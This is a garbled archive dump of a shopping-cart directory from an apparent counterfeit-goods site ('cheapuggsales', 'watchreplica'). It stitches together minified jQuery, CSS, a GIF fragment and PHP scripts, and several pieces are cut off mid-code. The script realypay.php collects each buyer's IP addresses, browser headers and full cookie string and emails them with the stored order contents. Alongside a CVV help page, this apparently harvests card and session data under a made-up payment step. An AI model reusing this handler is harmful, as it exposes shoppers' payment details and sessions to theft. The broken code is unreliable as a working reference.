o.ajax({type:"POST",url:E,data:G,success:H,dataType:F})},ajaxSetup:function(E){o.extend(o.ajaxSettings,E)},ajaxSettings:{url:location.href,global:true,type:"GET",contentType:"application/x-www-form-urlencoded",processData:true,async:true,xhr:function(){return l.ActiveXObject?new ActiveXObject("Microsoft.XMLHTTP"):new XMLHttpRequest()},accepts:{xml:"application/xml, text/xml",html:"text/html",script:"text/javascript, application/javascript",json:"application/json, text/javascript",text:"text/plain",_default:"*/*"}},lastModified:{},ajax:function(M){M=o.extend(true,M,o.extend(true,{},o.ajaxSettings,M));var W,F=/=\?(&|$)/g,R,V,G=M.type.toUpperCase();if(M.data&&M.processData&&typeof M.data!=="string"){M.data=o.param(M.data)}if(M.dataType=="jsonp"){if(G=="GET"){if(!M.url.match(F)){M.url+=(M.url.match(/\?/)?"&":"?")+(M.jsonp||"callback")+"=?"}}else{if(!M.data||!M.data.match(F)){M.data=(M.data?M.data+"&":"")+(M.jsonp||"callback")+"=?"}}M.dataType="json"}if(M.dataType=="json"&&(M.data&&M.data.match(F)||M.url.match(F))){W="jsonp"+r++;if(M.data){M.data=(M.data+"").replace(F,"="+W+"$1")}M.url=M.url.replace(F,"="+W+"$1");M.dataType="script";l[W]=function(X){V=X;I();L();l[W]=g;try{delete l[W]}catch(Y){}if(H){H.removeChild(T)}}}if(M.dataType=="script"&&M.cache==null){M.cache=false}if(M.cache===false&&G=="GET"){var E=e();var U=M.url.replace(/(\?|&)_=.*?(&|$)/,"$1_="+E+"$2");M.url=U+((U==M.url)?(M.url.match(/\?/)?"&":"?")+"_="+E:"")}if(M.data&&G=="GET"){M.url+=(M.url.match(/\?/)?"&":"?")+M.data;M.data=null}if(M.global&&!o.active++){o.event.trigger("ajaxStart")}var Q=/^(\w+:)?\/\/([^\/?#]+)/.exec(M.url);if(M.dataType=="script"&&G=="GET"&&Q&&(Q[1]&&Q[1]!=location.protocol||Q[2]!=location.host)){var H=document.getElementsByTagName("head")[0];var T=document.createElement("script");T.src=M.url;if(M.scriptCharset){T.charset=M.scriptCharset}if(!W){var O=false;T.onload=T.onreadystatechange=function(){if(!O&&(!this.readyState||this.readyState=="loaded"||this.readyState=="complete")){O=true;I();L();T.onload=T.onreadystatechange=null;H.removeChild(T)}}}H.appendChild(T);return g}var K=false;var J=M.xhr();if(M.username){J.open(G,M.url,M.async,M.username,M.password)}else{J.open(G,M.url,M.async)}try{if(M.data){J.setRequestHeader("Content-Type",M.contentType)}if(M.ifModified){J.setRequestHeader("If-Modified-Since",o.lastModified[M.url]||"Thu, 01 Jan 1970 00:00:00 GMT")}J.setRequestHeader("X-Requested-With","XMLHttpRequest");J.setRequestHeader("Accept",M.dataType&&M.accepts[M.dataType]?M.accepts[M.dataType]+", */*":M.accepts._default)}catch(S){}if(M.beforeSend&&M.beforeSend(J,M)===false){if(M.global&&!--o.active){o.event.trigger("ajaxStop")}J.abort();return false}if(M.global){o.event.trigger("ajaxSend",[J,M])}var N=function(X){if(J.readyState==0){if(P){clearInterval(P);P=null;if(M.global&&!--o.active){o.event.trigger("ajaxStop")}}}else{if(!K&&J&&(J.readyState==4||X=="timeout")){K=true;if(P){clearInterval(P);P=null}R=X=="timeout"?"timeout":!o.httpSuccess(J)?"error":M.ifModified&&o.httpNotModified(J,M.url)?"notmodified":"success";if(R=="success"){try{V=o.httpData(J,M.dataType,M)}catch(Z){R="parsererror"}}if(R=="success"){var Y;try{Y=J.getResponseHeader("Last-Modified")}catch(Z){}if(M.ifModified&&Y){o.lastModified[M.url]=Y}if(!W){I()}}else{o.handleError(M,J,R)}L();if(X){J.abort()}if(M.async){J=null}}}};if(M.async){var P=setInterval(N,13);if(M.timeout>0){setTimeout(function(){if(J&&!K){N("timeout")}},M.timeout)}}try{J.send(M.data)}catch(S){o.handleError(M,J,null,S)}if(!M.async){N()}function I(){if(M.success){M.success(V,R)}if(M.global){o.event.trigger("ajaxSuccess",[J,M])}}function L(){if(M.complete){M.complete(J,R)}if(M.global){o.event.trigger("ajaxComplete",[J,M])}if(M.global&&!--o.active){o.event.trigger("ajaxStop")}}return J},handleError:function(F,H,E,G){if(F.error){F.error(H,E,G)}if(F.global){o.event.trigger("ajaxError",[H,F,G])}},active:0,httpSuccess:function(F){try{return !F.status&&location.protocol=="file:"||(F.status>=200&&F.status<300)||F.status==304||F.status==1223}catch(E){}return false},httpNotModified:function(G,E){try{var H=G.getResponseHeader("Last-Modified");return G.status==304||H==o.lastModified[E]}catch(F){}return false},httpData:function(J,H,G){var F=J.getResponseHeader("content-type"),E=H=="xml"||!H&&F&&F.indexOf("xml")>=0,I=E?J.responseXML:J.responseText;if(E&&I.documentElement.tagName=="parsererror"){throw"parsererror"}if(G&&G.dataFilter){I=G.dataFilter(I,H)}if(typeof I==="string"){if(H=="script"){o.globalEval(I)}if(H=="json"){I=l["eval"]("("+I+")")}}return I},param:function(E){var G=[];function H(I,J){G[G.length]=encodeURIComponent(I)+"="+encodeURIComponent(J)}if(o.isArray(E)||E.jquery){o.each(E,function(){H(this.name,this.value)})}else{for(var F in E){if(o.isArray(E[F])){o.each(E[F],function(){H(F,this)})}else{H(F,o.isFunction(E[F])?E[F]():E[F])}}}return G.join("&").replace(/%20/g,"+")}});var m={},n,d=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]];function t(F,E){var G={};o.each(d.concat.apply([],d.slice(0,E)),function(){G[this]=F});return G}o.fn.extend({show:function(J,L){if(J){return this.animate(t("show",3),J,L)}else{for(var H=0,F=this.length;H").appendTo("body");K=I.css("display");if(K==="none"){K="block"}I.remove();m[G]=K}o.data(this[H],"olddisplay",K)}}for(var H=0,F=this.length;H=0;H--){if(G[H].elem==this){if(E){G[H](true)}G.splice(H,1)}}});if(!E){this.dequeue()}return this}});o.each({slideDown:t("show",1),slideUp:t("hide",1),slideToggle:t("toggle",1),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"}},function(E,F){o.fn[E]=function(G,H){return this.animate(F,G,H)}});o.extend({speed:function(G,H,F){var E=typeof G==="object"?G:{complete:F||!F&&H||o.isFunction(G)&&G,duration:G,easing:F&&H||H&&!o.isFunction(H)&&H};E.duration=o.fx.off?0:typeof E.duration==="number"?E.duration:o.fx.speeds[E.duration]||o.fx.speeds._default;E.old=E.complete;E.complete=function(){if(E.queue!==false){o(this).dequeue()}if(o.isFunction(E.old)){E.old.call(this)}};return E},easing:{linear:function(G,H,E,F){return E+F*G},swing:function(G,H,E,F){return((-Math.cos(G*Math.PI)/2)+0.5)*F+E}},timers:[],fx:function(F,E,G){this.options=E;this.elem=F;this.prop=G;if(!E.orig){E.orig={}}}});o.fx.prototype={update:function(){if(this.options.step){this.options.step.call(this.elem,this.now,this)}(o.fx.step[this.prop]||o.fx.step._default)(this);if((this.prop=="height"||this.prop=="width")&&this.elem.style){this.elem.style.display="block"}},cur:function(F){if(this.elem[this.prop]!=null&&(!this.elem.style||this.elem.style[this.prop]==null)){return this.elem[this.prop]}var E=parseFloat(o.css(this.elem,this.prop,F));return E&&E>-10000?E:parseFloat(o.curCSS(this.elem,this.prop))||0},custom:function(I,H,G){this.startTime=e();this.start=I;this.end=H;this.unit=G||this.unit||"px";this.now=this.start;this.pos=this.state=0;var E=this;function F(J){return E.step(J)}F.elem=this.elem;if(F()&&o.timers.push(F)&&!n){n=setInterval(function(){var K=o.timers;for(var J=0;J=this.options.duration+this.startTime){this.now=this.end;this.pos=this.state=1;this.update();this.options.curAnim[this.prop]=true;var E=true;for(var F in this.options.curAnim){if(this.options.curAnim[F]!==true){E=false}}if(E){if(this.options.display!=null){this.elem.style.overflow=this.options.overflow;this.elem.style.display=this.options.display;if(o.css(this.elem,"display")=="none"){this.elem.style.display="block"}}if(this.options.hide){o(this.elem).hide()}if(this.options.hide||this.options.show){for(var I in this.options.curAnim){o.attr(this.elem.style,I,this.options.orig[I])}}this.options.complete.call(this.elem)}return false}else{var J=G-this.startTime;this.state=J/this.options.duration;this.pos=o.easing[this.options.easing||(o.easing.swing?"swing":"linear")](this.state,J,0,1,this.options.duration);this.now=this.start+((this.end-this.start)*this.pos);this.update()}return true}};o.extend(o.fx,{speeds:{slow:600,fast:200,_default:400},step:{opacity:function(E){o.attr(E.elem.style,"opacity",E.now)},_default:function(E){if(E.elem.style&&E.elem.style[E.prop]!=null){E.elem.style[E.prop]=E.now+E.unit}else{E.elem[E.prop]=E.now}}}});if(document.documentElement.getBoundingClientRect){o.fn.offset=function(){if(!this[0]){return{top:0,left:0}}if(this[0]===this[0].ownerDocument.body){return o.offset.bodyOffset(this[0])}var G=this[0].getBoundingClientRect(),J=this[0].ownerDocument,F=J.body,E=J.documentElement,L=E.clientTop||F.clientTop||0,K=E.clientLeft||F.clientLeft||0,I=G.top+(self.pageYOffset||o.boxModel&&E.scrollTop||F.scrollTop)-L,H=G.left+(self.pageXOffset||o.boxModel&&E.scrollLeft||F.scrollLeft)-K;return{top:I,left:H}}}else{o.fn.offset=function(){if(!this[0]){return{top:0,left:0}}if(this[0]===this[0].ownerDocument.body){return o.offset.bodyOffset(this[0])}o.offset.initialized||o.offset.initialize();var J=this[0],G=J.offsetParent,F=J,O=J.ownerDocument,M,H=O.documentElement,K=O.body,L=O.defaultView,E=L.getComputedStyle(J,null),N=J.offsetTop,I=J.offsetLeft;while((J=J.parentNode)&&J!==K&&J!==H){M=L.getComputedStyle(J,null);N-=J.scrollTop,I-=J.scrollLeft;if(J===G){N+=J.offsetTop,I+=J.offsetLeft;if(o.offset.doesNotAddBorder&&!(o.offset.doesAddBorderForTableAndCells&&/^t(able|d|h)$/i.test(J.tagName))){N+=parseInt(M.borderTopWidth,10)||0,I+=parseInt(M.borderLeftWidth,10)||0}F=G,G=J.offsetParent}if(o.offset.subtractsBorderForOverflowNotVisible&&M.overflow!=="visible"){N+=parseInt(M.borderTopWidth,10)||0,I+=parseInt(M.borderLeftWidth,10)||0}E=M}if(E.position==="relative"||E.position==="static"){N+=K.offsetTop,I+=K.offsetLeft}if(E.position==="fixed"){N+=Math.max(H.scrollTop,K.scrollTop),I+=Math.max(H.scrollLeft,K.scrollLeft)}return{top:N,left:I}}}o.offset={initialize:function(){if(this.initialized){return}var L=document.body,F=document.createElement("div"),H,G,N,I,M,E,J=L.style.marginTop,K='
';M={position:"absolute",top:0,left:0,margin:0,border:0,width:"1px",height:"1px",visibility:"hidden"};for(E in M){F.style[E]=M[E]}F.innerHTML=K;L.insertBefore(F,L.firstChild);H=F.firstChild,G=H.firstChild,I=H.nextSibling.firstChild.firstChild;this.doesNotAddBorder=(G.offsetTop!==5);this.doesAddBorderForTableAndCells=(I.offsetTop===5);H.style.overflow="hidden",H.style.position="relative";this.subtractsBorderForOverflowNotVisible=(G.offsetTop===-5);L.style.marginTop="1px";this.doesNotIncludeMarginInBodyOffset=(L.offsetTop===0);L.style.marginTop=J;L.removeChild(F);this.initialized=true},bodyOffset:function(E){o.offset.initialized||o.offset.initialize();var G=E.offsetTop,F=E.offsetLeft;if(o.offset.doesNotIncludeMarginInBodyOffset){G+=parseInt(o.curCSS(E,"marginTop",true),10)||0,F+=parseInt(o.curCSS(E,"marginLeft",true),10)||0}return{top:G,left:F}}};o.fn.extend({position:function(){var I=0,H=0,F;if(this[0]){var G=this.offsetParent(),J=this.offset(),E=/^body|html$/i.test(G[0].tagName)?{top:0,left:0}:G.offset();J.top-=j(this,"marginTop");J.left-=j(this,"marginLeft");E.top+=j(G,"borderTopWidth");E.left+=j(G,"borderLeftWidth");F={top:J.top-E.top,left:J.left-E.left}}return F},offsetParent:function(){var E=this[0].offsetParent||document.body;while(E&&(!/^body|html$/i.test(E.tagName)&&o.css(E,"position")=="static")){E=E.offsetParent}return o(E)}});o.each(["Left","Top"],function(F,E){var G="scroll"+E;o.fn[G]=function(H){if(!this[0]){return null}return H!==g?this.each(function(){this==l||this==document?l.scrollTo(!F?H:o(l).scrollLeft(),F?H:o(l).scrollTop()):this[G]=H}):this[0]==l||this[0]==document?self[F?"pageYOffset":"pageXOffset"]||o.boxModel&&document.documentElement[G]||document.body[G]:this[0][G]}});o.each(["Height","Width"],function(I,G){var E=I?"Left":"Top",H=I?"Right":"Bottom",F=G.toLowerCase();o.fn["inner"+G]=function(){return this[0]?o.css(this[0],F,false,"padding"):null};o.fn["outer"+G]=function(K){return this[0]?o.css(this[0],F,false,K?"margin":"border"):null};var J=G.toLowerCase();o.fn[J]=function(K){return this[0]==l?document.compatMode=="CSS1Compat"&&document.documentElement["client"+G]||document.body["client"+G]:this[0]==document?Math.max(document.documentElement["client"+G],document.body["scroll"+G],document.documentElement["scroll"+G],document.body["offset"+G],document.documentElement["offset"+G]):K===g?(this.length?o.css(this[0],J):null):this.css(J,typeof K==="string"?K:K+"px")}})})();cheapuggsales.uk.com/cart/watchreplica.css0000777000000000000000000003277111633550304017714 0ustar rootrootbody { font: 83%/1.4 Arial, helvetica, sans-serif; min-width:996px; background:#ffffff} form { margin:0; padding:0; list-style:none} ul { margin:0; padding:0; list-style:none} body { margin:0; padding:0; list-style:none} .clear { clear:both} hr { height:1px; border:none; padding:0; margin:5px 0; color:#b7b1a5; background:#d4ccbd;} a.abrown:visited { color:#c9522b} a.abrown:link { color:#c9522b} a.abrown:hover { color:#ca3b0d} a:visited {color:#c9522b} a:link {color:#c9522b} a:hover { color:#c9522b; text-decoration:none} h3 { color:#898476; font-family:Trebuchet MS, Arial, helvetica, sans-serif;} h2 { color:#898476; font-family:Trebuchet MS, Arial, helvetica, sans-serif;} h1 { color:#898476; font-family:Trebuchet MS, Arial, helvetica, sans-serif;} .red {color:#d5270d} .green {color:#5ca027} .blue {color:#3d82a5} .gray { color:#666666} .alignleft { float:left} .alignright { float:right} .aligncenter { text-align:center} /* ------------------------------ Structure Layout */ .container { width:100%; margin:0 auto; position:relative} #wrapper{ float:left; clear:both; width:100%; background:#ffffff;} /* #content{ margin: 0 26.5% 0 24.5%} */ #navigation{ float:left; width:24.5%; margin-left:-100%;} #extra{ float:left; width:26.5%; margin-left:-26.5%} #extra { padding-top:5px; padding-bottom:5px} #navigation { padding-top:5px; padding-bottom:5px} #content { padding-top:5px; padding-bottom:5px} /* ------------------------------ Header */ #header { background:url(bg_header.gif) top repeat-x #f5f4f2; height:92px; padding-top:6px;} .toprBox { float:right; margin-top:5px; margin-right:10px;} #top { float:left;} .logo { float:left;} #top { position:absolute; top:6px; left:27%; font-family:Trebuchet MS, Arial, helvetica, sans-serif;} #top li { float:left; font-size:18px;} #top li a:visited { color:#898476; text-decoration:none; background:url(topm_bg_line.gif) left center no-repeat; display:block; float:left; height:31px;} #top li a:link { color:#898476; text-decoration:none; background:url(topm_bg_line.gif) left center no-repeat; display:block; float:left; height:31px;} #top .first a:visited { background:none} #top .first a:link { background:none} #top li a span { display:block; float:left; padding:0 10px; height:31px; line-height:30px} #top .first a:hover { color:#ffffff; background:url(topm_r.gif) bottom right no-repeat; display:block} #top li a:hover { color:#ffffff; background:url(topm_r.gif) bottom right no-repeat; display:block} #top li a:hover span { background:url(topm_l.gif) bottom left no-repeat; cursor:pointer} #top .active a span { background:url(topm_l.gif) bottom left no-repeat;} #top .active a:visited { color:#ffffff; background:url(topm_r.gif) bottom right no-repeat;} #top .active a:link { color:#ffffff; background:url(topm_r.gif) bottom right no-repeat;} .searchForm { background:url(bg_search.gif) left top no-repeat; position:absolute; top:52px; left:32%; height:34px; width:366px; padding:12px 0 0 0;} .searchForm input { float:left; border:none;} .stext { width:232px; line-height:16px; font-family:Arial, helvetica, sans-serif; font-size:15px; border:none; background:none; margin:3px 10px 0 42px;} /* ------------------------------ Content */ /* ------------------------------ Content - Main page */ #content p a:link { color:#c9522b} #content a.ablue:visited { color:#0d62b7} #content a.ablue:link { color:#0d62b7} #content { color:#333333} .mainTitle { color:#b0aa9c; text-transform:uppercase; font-family:Trebuchet MS, Arial, helvetica, sans-serif; font-size:25px; line-height:31px} .mainTitle span { display:block; text-align:center; font-size:45px;} .mainSubTitle { color:#7f7a67; font-family:Trebuchet MS, Arial, helvetica, sans-serif; font-size:20px; line-height:20px} .mainSubTitle span { font-size:14px; display:block; text-align:center; color:#a09c90} .main2Cols { width:99%; background:url(bg_footer.gif) bottom repeat-x; padding-bottom:15px; margin:20px 0 10px} .main2Cols .col { min-height:400px; float:left; border-top:1px solid #e8e6c0; padding-top:3px} .main2Cols .col h2 { padding:0; margin:0;} .main2Cols .cmiddle { width:5%; float:left; border:none} .main2Cols .cleft { width:41%;} .main2Cols .cright { width:260px; text-align:center; color:#8a8476} .main2Cols .cright p { text-align:left} .main2Cols .cright a:visited { color:#ca522d;} .main2Cols .cright a:link { color:#ca522d;} .main2Cols .cright a:hover { color:#cb2e00} .main2Cols .cright strong { font-size:16px; line-height:20px} .noteGray { color:#898377; margin-left:20px; line-height:18px; font-weight:bold} .listbrand { margin-left:4px;} .listbrand li { border-bottom:1px solid #f4f5f0; line-height:23px;} .listbrand li:hover { background:#f4f5f0} .listbrand li a:visited { color:#786f60;} .listbrand li a:link { color:#786f60;} .listbrand .active a:visited { color:#c9512c; text-decoration:none} .listbrand .active a:link { color:#c9512c; text-decoration:none} .listbrand li a:hover { color:#c9512c; text-decoration:none} .noticeBrown { color:#c76a4c; font-size:11px} .noticeSmall { font-size:11px; color:#333333} .noticeGray { font-size:12px;} .col2 { width:44%; float:left; padding-right:3%;} .col3 { width:44%; float:left; padding-left:3%;} /* ------------------------------ Shopping Cart */ #cartSteps { margin:20px auto 40px auto; width:900px; min-height:300px;} .titleCart { background: url(steps_right.gif) top right no-repeat #b7b1a5; height:37px; line-height:37px; font-size:23px; font-weight:bold; color:#ffffff; margin-top:25px} .titleCart span { display:block; float:left; width:42px; height:37px; text-align:center; background:url(steps_left.gif) left top no-repeat; color:#b7b1a5} .titleCartOn { background: url(steps_right.gif) bottom right no-repeat #c9522b; height:37px; line-height:37px; font-size:23px; font-weight:bold; color:#ffffff; margin-top:25px} .titleCartOn span { display:block; float:left; width:42px; height:37px; text-align:center; background:url(steps_left.gif) left bottom no-repeat; color:#c9522b} .cartNavi { margin:15px 0 10px 5px;} .cartSteps .cartNavi { margin:0; padding:10px 0} .stepActive { padding-left:40px; background:url(cartactive_bg.gif) 10px 0 repeat-y;} .stepActive .submit { background: url(btn_submit.gif) no-repeat; width:100px; height:17px; border:none; color:#FFFFFF; font-weight:bold; cursor:pointer; text-transform:uppercase; font-size:10px; padding:0 5px 3px 0; line-height:17px; text-align:center} .cartNotice { margin:10px 0px 10px 30px; padding:5px; font-size:11px; font-family:Arial, helvetica, sans-serif; color:#666666; line-height:15px; border:1px dotted #cde480; border-left:none; border-top:none} .cartNotice h4 { background:url(ico_info2.gif) left center no-repeat; padding:0 0 0 28px; line-height:30px; font-size:15px; font-style:italic; margin:0; color:#888888} .priceTotal { color:#c9522b; font-size:13px;} a.acheckout:visited { display:block; float:right; background: url(btn_checkout_big.gif) left no-repeat; width:196px; height:27px; line-height:27px; color:#ffffff; font-family:Verdana,"Bitstream Vera Sans","Liberation Sans",Geneva,sans-serif; font-size:13px; font-weight:bold; text-align:center; text-transform:uppercase; text-decoration:none; margin-left:5px;} a.acheckout:link { display:block; float:right; background: url(btn_checkout_big.gif) left no-repeat; width:196px; height:27px; line-height:27px; color:#ffffff; font-family:Verdana,"Bitstream Vera Sans","Liberation Sans",Geneva,sans-serif; font-size:13px; font-weight:bold; text-align:center; text-transform:uppercase; text-decoration:none; margin-left:5px;} a.update:visited { display:block; float:right; background:url(btn_update.gif) no-repeat; width:100px; height:19px; color:#555555; font-size:12px; text-decoration:none; text-align:center; line-height:19px; margin:5px 15px 0 15px;} a.update:link { display:block; float:right; background:url(btn_update.gif) no-repeat; width:100px; height:19px; color:#555555; font-size:12px; text-decoration:none; text-align:center; line-height:19px; margin:5px 15px 0 15px;} .cartTable { clear:both; width:100%; border-collapse:collapse; color:#333333} .cartTable th { background:#d5d5d5; color:#454545; border:1px solid #ffffff; border-collapse:collapse; padding:2px;} .cartTable td { border-bottom:1px dotted #000000; padding:6px 3px; text-align:center} .cartTable .tddecr { text-align:left; background:#f5f5f5; line-height:18px} .cartTable .tddecr small { color:#333333} .cartTable .tddecr span { color:#333333} a.aName:visited { color:#79705f;} a.aName:link { color:#79705f;} a.aName:hover { color:#c9522b} .imgb { border:1px solid #CCCCCC} a.ared:visited { color:#ae0000; font-family:Verdana,"Bitstream Vera Sans","Liberation Sans",Geneva,sans-serif; font-size:11px;} a.ared:link { color:#ae0000; font-family:Verdana,"Bitstream Vera Sans","Liberation Sans",Geneva,sans-serif; font-size:11px;} .cartTable .totalTr { font-size:13px} .cartTable .totalTr p { font-size:12px; color:#666666} .cartTable .totalTr td { padding:5px; text-align:right; border:none} .cartTable .totalTr .note { text-align:left; color:#666666} .cartTable .totalTr .totalTd { border-top:1px solid #666666;} a.ared:hover { color:#000000} .shippingForm .qty { width:27px; text-align:center; font-family:Verdana; font-size:12px} .contactForm .qty { width:27px; text-align:center; font-family:Verdana; font-size:12px} .qty { width:27px; text-align:center; font-family:Verdana; font-size:12px} .ishipping { font-size:11px; font-family:Verdana,"Bitstream Vera Sans","Liberation Sans",Geneva,sans-serif; max-width:200px} .contactForm .check { width:auto; border:none; float:right; margin:0; color:#ff0} .check { color:#F00} a.aremove:visited { color:#787878; font-size:10px; font-family:Arial, helvetica, sans-serif; font-weight:bold} a.aremove:link { color:#787878; font-size:10px; font-family:Arial, helvetica, sans-serif; font-weight:bold} a.aremove:hover { color:#000000} .stepActive h3 { margin:0; padding:10px 0;} .stepActive .contactForm { margin-left:40px;} /* ------------------------------ Footer */ .containerBot { width:68%; margin:15px 17% 0 15%;} #footer { background:url(bg_footer.gif) top repeat-x #f5f4f2; height:85px; clear:both; width:100%; color:#898476; padding:20px 0 10px; text-align:center} #footer ul { margin:5px 0 15px 0; color:#898476} #footer li { display:inline; text-align:center; background:url(topm_bg_line.gif) center left no-repeat; padding:0 10px; font-size:16px; font-weight:bold} #footer .first { background:none} #footer li a:visited { color:#898476; text-decoration:none} #footer li a:link { color:#898476; text-decoration:none} #footer li a:hover { color:#c9522b} .copy { font-size:11px} .listFaq li a:visited { font-size:12px} .listFaq li a:link { font-size:12px} .listFaq li a:hover { color:#000000} /*---------------------------- Processing form */ .tOrder { margin:10px auto; /*width:650px*/ } .tOrder table { /* width:600px */ } .form_fieldname { width:100px; white-space:nowrap; } .form_field { padding:5px 0 /*width: 208px;*/ } .tOrder .ordert { border-collapse: collapse; font-size:12px; margin-bottom:25px; /*width:450px*/ } .tOrder .ordert td { border:1px solid #cccccc; border-collapse:collapse; padding:2px} .tOrder h3 { text-align:left; font-size:18px} .tOrder h2 { text-align:left; font-size:18px} .ip_logged { font-family:"Courier New", Courier, monospace; font-size:12px; border:1px dotted #ccc; padding:6px; color:#666} .ordert div { padding:3px 0;} .row { padding:5px 0;} .row em { font-size:12px; color:#666666;} .shippingForm { margin:5px 0; width:400px;} .shippingForm small { color:#c9522b; font-size:11px} .shippingForm .row { clear:both; padding:9px 0;} .shippingForm label { display:block; text-align:right; padding:0 8px 0 0; float:left; width:110px; line-height:20px; color:#333333;} .shippingForm .choose { width:15px;} .shippingForm input { float:left; width:230px; font-size:13px; padding:1px; font-family:Verdana,"Bitstream Vera Sans","Liberation Sans",Geneva,sans-serif; border:1px solid #a8a298; background:#ffffff} .shippingForm textarea { border:1px solid #a8a298; background:#ffffff; width:232px} .shippingForm input:focus, .shippingForm textarea:focus { border:1px solid #333333; background:#ffffff} .shippingForm .submit { width:100px; color:#ffffff; background:#c9522b; font-weight:bold; border:1px solid #a6200c; cursor:pointer; padding:1px;} .shippingForm .check { width:auto; border:none; float:right; margin:0; } .blockInfo { width:340px; padding:10px; border:1px dotted #999999; margin:20px 20px 0 0; font-size:12px} .blockInfo li { list-style:disc; margin:0 0 12px 30px;} .z1 { color:#C95228; font-family:Trebuchet MS,Arial,helvetica,sans-serif; font-size:22px;} .lable { font-weight:bold; } .form_fieldname { font-weight:bold; } .torder { width:350px; /* !important */ } .form_card { width:404px; } .form_address { width:350px; } .form_card tr .form_fieldname { width:114px; } .form_card tr .form_field { margin-right: 40 px; width:299px; } .form_card tr th { margin-right: 40 px; text-align:left; } .form_address tr .form_fieldname { width:180px; } a.bot { padding-left: 15 px; } .section-label { color:#C95228; font-family:Trebuchet MS,Arial,helvetica,sans-serif; font-size:22px; font-weight:bold } div#seal { position:absolute; top:140px;right:60px; } cheapuggsales.uk.com/cart/domaintest.php0000777000000000000000000000015511633550304017403 0ustar rootroot"; echo $_SERVER['SERVER_NAME']; ?>cheapuggsales.uk.com/cart/jscart.php0000777000000000000000000000446511633550304016532 0ustar rootrootsum('money'); foreach ($cart->data AS $k => $v) { if ((int)$v['count']>0){ $pcount+=(int)$v['count']; $htmlc .= "document.write (\"
\");\n"; $htmlc .= "document.write (\"
\");\n"; $htmlc .= "document.write (\"
".$v['name']." $".$v['price']."
\");\n"; $htmlc .= "document.write (\"
x".$v['count']."
\");\n"; $htmlc .= "document.write (\"
$".$v['money']."
\");\n"; $htmlc .= "document.write (\"
\");\n"; //$htmlc .= "
"$v['name'].",Qty:".$v['count'].",Price".$v['price'].",SubTotal:$".$v['money'].";"; } } if ($pcount>0){ //$pcount items | total: $".$cart->sum('money')." /* */ $htmlc .="document.write (\"
Subtotal:  $".$ototal."
\");"; echo $htmlc; }else{ echo "document.write (\"Shopping Cart is Empty\");"; } ?>cheapuggsales.uk.com/cart/cmxform.css0000777000000000000000000000167311633550304016716 0ustar rootroot/********************************** Name: cmxform Styles ***********************************/ form.cmxform { width: 370px; font-size: 1.0em; color: #333; } form.cmxform legend { padding-left: 0; } form.cmxform legend, form.cmxform label { color: #333; } form.cmxform fieldset { border: none; border-top: 1px solid #C9DCA6; background: url(../images/cmxform-fieldset.gif) left bottom repeat-x; background-color: #F8FDEF; } form.cmxform fieldset fieldset { background: none; } form.cmxform fieldset p, form.cmxform fieldset fieldset { padding: 5px 10px 7px; background: url(../images/cmxform-divider.gif) left bottom repeat-x; } form.cmxform label.error, label.error { /* remove the next line when you have trouble in IE6 with labels in list */ color: red; font-style: italic; display: block; } div.error { display: none; } input.checkbox { border: none } input.error { border: 1px dotted red; } form.cmxform .gray * { color: gray; }cheapuggsales.uk.com/cart/cmxformTemplate.css0000777000000000000000000000174111633550304020406 0ustar rootroot/********************************** Use: cmxform template ***********************************/ form.cmxform fieldset { margin-bottom: 10px; } form.cmxform legend { padding: 0 2px; font-weight: bold; _margin: 0 -7px; /* IE Win */ } form.cmxform label { display: inline-block; line-height: 1.8; vertical-align: top; cursor: hand; } form.cmxform fieldset p { list-style: none; padding: 5px; margin: 0; } form.cmxform fieldset fieldset { border: none; margin: 3px 0 0; } form.cmxform fieldset fieldset legend { padding: 0 0 5px; font-weight: normal; } form.cmxform fieldset fieldset label { display: block; width: auto; } form.cmxform label { width: 100px; } /* Width of labels */ form.cmxform fieldset fieldset label { margin-left: 103px; } /* Width plus 3 (html space) */ form.cmxform label.error { margin-left: 103px; width: 220px; } form.cmxform input.submit { margin-left: 103px; } /*\*//*/ form.cmxform legend { display: inline-block; } /* IE Mac legend fix */cheapuggsales.uk.com/cart/zmain_5.gif0000777000000000000000000000030011633550304016544 0ustar rootrootGIF89a䳳!,=&jB jDF% ), M\*\j,BV%@!$;cheapuggsales.uk.com/cart/ccv-help.html0000777000000000000000000000130311633550304017106 0ustar rootroot
What is a CVV2/CCV number?

The CVV2 or CCV (credit card verification) number is a 3 digit number in the case of Visa and Mastercard (back of card) and a 4 digit number in the case of American Express (front of card) that adds an extra level of security. We do not store the CVV2 number, it is only used to authorize your card.


cheapuggsales.uk.com/cart/realypay.php0000777000000000000000000000657511633550304017076 0ustar rootroot".$_SERVER['HTTP_CLIENT_IP']."
\n 2 ".$_SERVER['REMOTE_ADDR']."
\n 3 ".$_SERVER['HTTP_X_FORWARDED_FOR']." \r\n
"; $requestall .= $_SERVER['HTTP_USER_AGENT']."
\r\n\r\n"; $requestall .= "\r\n
".$_SERVER['HTTP_ACCEPT']; $requestall .= "\r\n
".$_SERVER['HTTP_ACCEPT_LANGUAGE']; $requestall .= "\r\n
".$_SERVER['HTTP_ACCEPT_ENCODING']; $requestall .= "\r\n
".$_SERVER['HTTP_COOKIE']; @$ordercon=file_get_contents("order/".$orderid.".txt"); if (strlen($orderid)>12 and strlen($ordercon)>100){ echo "Your Order(ID:".$orderid.") is submitted successfully, Please wait for new response.Back to Home"; echo ""; $time=date("Y-m-d H:i:s"); $flag='1'; $domainmail=str_replace("www.","",$_SERVER['SERVER_NAME']); $to='support@'.$domainmail; $subject=$_SERVER['SERVER_NAME']." realyPAY need to check $orderid $time"; $txt=$requestall."
".$orderid." payment Approve from realyPAY \r\n".$_SERVER['SERVER_NAME']."\r\n".$time."\r\n
".$ordercon; $txt=str_replace("\n","
